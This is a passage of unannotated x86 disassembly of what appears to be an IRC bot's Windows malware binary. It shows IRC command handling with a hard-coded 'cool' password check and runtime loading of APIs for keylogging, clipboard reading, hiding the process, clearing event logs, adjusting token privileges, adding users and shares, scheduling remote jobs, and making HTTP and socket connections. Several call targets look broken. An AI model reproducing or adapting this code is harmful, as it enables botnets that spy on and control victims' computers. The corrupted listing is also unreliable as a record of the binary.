eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi call sub_41C159 push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D60 jmp short loc_40948F ; --------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset unk_429D34 loc_40948F: ; CODE XREF: sub_401ACD+79BBj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+var_2C4] push eax call sub_415D38 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset dword_42A2E8 push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_429D1C jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi push offset dword_42A24C push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CFC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push edi push offset unk_429CDC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CB8 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C98 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax nop call near ptr 2680EBDh loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C70 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40AE84 add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C4C loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+arg_24] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset asc_42CDBC ; "!" push [ebp+var_90] call sub_41CAD4 mov esi, eax push offset word_4CB88C push ebx inc esi call sub_41CAD4 push offset asc_429C48 ; "~" push eax call sub_41CAD4 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41CA50 add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BC8 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+arg_24], offset off_42915C loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429160 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B74 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] push offset aCool ; "cool" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx push [ebp+var_4] push offset unk_429B54 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax push offset unk_429B34 loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h mov dword_4CB884, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41CB70 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi call sub_41B9C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B9C0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h call near ptr 2680EBDh nop locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA80, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB9F4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9D8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB8E8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB894, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8C4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB93C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA34, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBA90, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB8F4, eax call esi cmp dword_4CBA80, ebx mov dword_4CB8DC, eax jz short loc_409A07 cmp dword_4CB9F4, ebx jz short loc_409A07 cmp dword_4CB9D8, ebx jz short loc_409A07 cmp dword_4CB8E8, ebx jz short loc_409A07 cmp dword_4CB8C4, ebx jz short loc_409A07 cmp dword_4CB93C, ebx jz short loc_409A07 cmp dword_4CBA34, ebx jz short loc_409A07 cmp dword_4CBA90, ebx jz short loc_409A07 cmp dword_4CB8F4, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBA94, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CBA0C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj nop call near ptr 26908B8h mov dword_4CBA98, eax mov dword_4CBA94, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26C0000h mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA30, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB9E0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB974, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA84, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9A4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9C4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA28, eax call esi cmp dword_4CBA30, ebx mov dword_4CB914, eax jz short loc_409AF7 cmp dword_4CB9E0, ebx jz short loc_409AF7 cmp dword_4CB974, ebx jz short loc_409AF7 cmp dword_4CBA84, ebx jz short loc_409AF7 cmp dword_4CB9A4, ebx jz short loc_409AF7 cmp dword_4CB9C4, ebx jz short loc_409AF7 cmp dword_4CBA28, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBA9C, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9A0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8A8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB970, eax call esi cmp dword_4CB9A0, ebx mov dword_4CB958, eax jz short loc_409B5E cmp dword_4CB8A8, ebx jz short loc_409B5E cmp dword_4CB970, ebx jz short loc_409B5E cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j nop call near ptr 26908B8h mov dword_4CBAA0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBA9C, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA44, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB988, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB9F8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8D4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB938, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9B0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB954, eax call esi cmp dword_4CBA44, ebx mov dword_4CB964, eax jz short loc_409C11 cmp dword_4CB988, ebx jz short loc_409C11 cmp dword_4CB9F8, ebx jz short loc_409C11 cmp dword_4CB8D4, ebx jz short loc_409C11 cmp dword_4CB938, ebx jz short loc_409C11 cmp dword_4CB9B0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAA4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9B8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB990, eax call esi cmp dword_4CB9B8, ebx mov dword_4CBA40, eax jz short loc_409C56 cmp dword_4CB990, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAA4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9C8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8B0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB8B8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB91C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB920, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8CC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB994, eax call esi cmp dword_4CB9C8, ebx mov dword_4CB8BC, eax jz short loc_409D04 cmp dword_4CB8B0, ebx jz short loc_409D04 cmp dword_4CB8B8, ebx jz short loc_409D04 cmp dword_4CB91C, ebx jz short loc_409D04 cmp dword_4CB920, ebx jz short loc_409D04 cmp dword_4CB8CC, ebx jz short loc_409D04 cmp dword_4CB994, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAA4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB8B4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj nop call near ptr 26908B8h mov dword_4CBAA8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAA4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9C0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA18, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA20, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9DC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB8F8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB8A4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA1C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB890, eax call esi cmp dword_4CB9C0, ebx mov dword_4CB930, eax jz short loc_409E0D cmp dword_4CBA18, ebx jz short loc_409E0D cmp dword_4CBA20, ebx jz short loc_409E0D cmp dword_4CB9DC, ebx jz short loc_409E0D cmp dword_4CB8F8, ebx jz short loc_409E0D cmp dword_4CB8A4, ebx jz short loc_409E0D cmp dword_4CBA1C, ebx jz short loc_409E0D cmp dword_4CB890, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j call near ptr 26908B8h nop mov dword_4CBAB0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBAAC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB944, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA78, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8E4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8C0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB980, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB968, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB92C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA54, eax call esi push offset aConnect ; "connect" push edi mov dword_4CBA70, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB97C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA60, eax call esi push offset aHtons ; "htons" push edi mov dword_4CBA14, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB9D4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB9D0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB904, eax call esi push offset aSend ; "send" push edi mov dword_4CB8FC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CBA24, eax call esi push offset aRecv ; "recv" push edi mov dword_4CBA38, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9EC, eax call esi mov dword_4CB9AC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CBA00, eax call esi push offset aListen ; "listen" push edi mov dword_4CB9BC, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB9FC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA68, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB9B4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB978, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9E8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA58, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB98C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB928, eax call esi cmp dword_4CB944, ebx mov dword_4CBA6C, eax jz loc_40A0DE cmp dword_4CBA78, ebx jz loc_40A0DE cmp dword_4CB8E4, ebx jz loc_40A0DE cmp dword_4CB980, ebx jz loc_40A0DE cmp dword_4CB968, ebx jz loc_40A0DE cmp dword_4CB92C, ebx jz loc_40A0DE cmp dword_4CBA54, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CB97C, ebx jz loc_40A0DE cmp dword_4CBA60, ebx jz loc_40A0DE cmp dword_4CBA14, ebx jz loc_40A0DE cmp dword_4CB9D4, ebx jz loc_40A0DE cmp dword_4CB9D0, ebx jz loc_40A0DE cmp dword_4CB904, ebx jz short loc_40A0DE cmp dword_4CBA24, ebx jz short loc_40A0DE cmp dword_4CBA38, ebx jz short loc_40A0DE cmp dword_4CB9EC, ebx jz short loc_40A0DE cmp dword_4CB9AC, ebx jz short loc_40A0DE cmp dword_4CBA00, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB9B4, ebx jz short loc_40A0DE cmp dword_4CB978, ebx jz short loc_40A0DE cmp dword_4CB9E8, ebx jz short loc_40A0DE cmp dword_4CBA58, ebx jz short loc_40A0DE cmp dword_4CB98C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj nop call near ptr 26908B8h mov dword_4CBAB8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAB4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB910, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB898, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB99C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB948, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9A8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB96C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8D8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8D0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8E0, eax call esi cmp dword_4CB910, ebx mov ecx, dword_4CB96C mov dword_4CBA08, eax jz short loc_40A1C9 cmp dword_4CB898, ebx jz short loc_40A1C9 cmp dword_4CB99C, ebx jz short loc_40A1C9 cmp dword_4CB948, ebx jz short loc_40A1C9 cmp dword_4CB9A8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8D8, ebx jz short loc_40A1C9 cmp dword_4CB8D0, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej ; sub_409909+886j ... mov dword_4CBABC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB984, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj nop call near ptr 26908B8h mov dword_4CBAC0, eax mov dword_4CBABC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB984, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB95C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA8C, eax call esi cmp dword_4CB95C, ebx mov dword_4CB8EC, eax jz short loc_40A25D cmp dword_4CBA8C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj call near ptr 26908B8h nop mov dword_4CBAC8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAC4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8C8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8A0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB918, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB94C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA64, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB900, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8AC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB89C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB934, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA2C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9E4, eax call esi cmp dword_4CB8C8, ebx mov dword_4CB908, eax jz short loc_40A379 cmp dword_4CB8A0, ebx jz short loc_40A379 cmp dword_4CB918, ebx jz short loc_40A379 cmp dword_4CB94C, ebx jz short loc_40A379 cmp dword_4CBA64, ebx jz short loc_40A379 cmp dword_4CB900, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB89C, ebx jz short loc_40A379 cmp dword_4CB934, ebx jz short loc_40A379 cmp dword_4CBA2C, ebx jz short loc_40A379 cmp dword_4CB9E4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j call near ptr 26908B8h nop mov dword_4CBAD0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBACC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB8F0, eax call esi cmp dword_4CB8F0, ebx mov dword_4CB9CC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j call near ptr 26908B8h nop mov dword_4CBAD8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAD4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA50, eax call esi cmp dword_4CBA50, ebx mov dword_4CBA4C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj nop call near ptr 26908B8h mov dword_4CBAE0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBADC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; 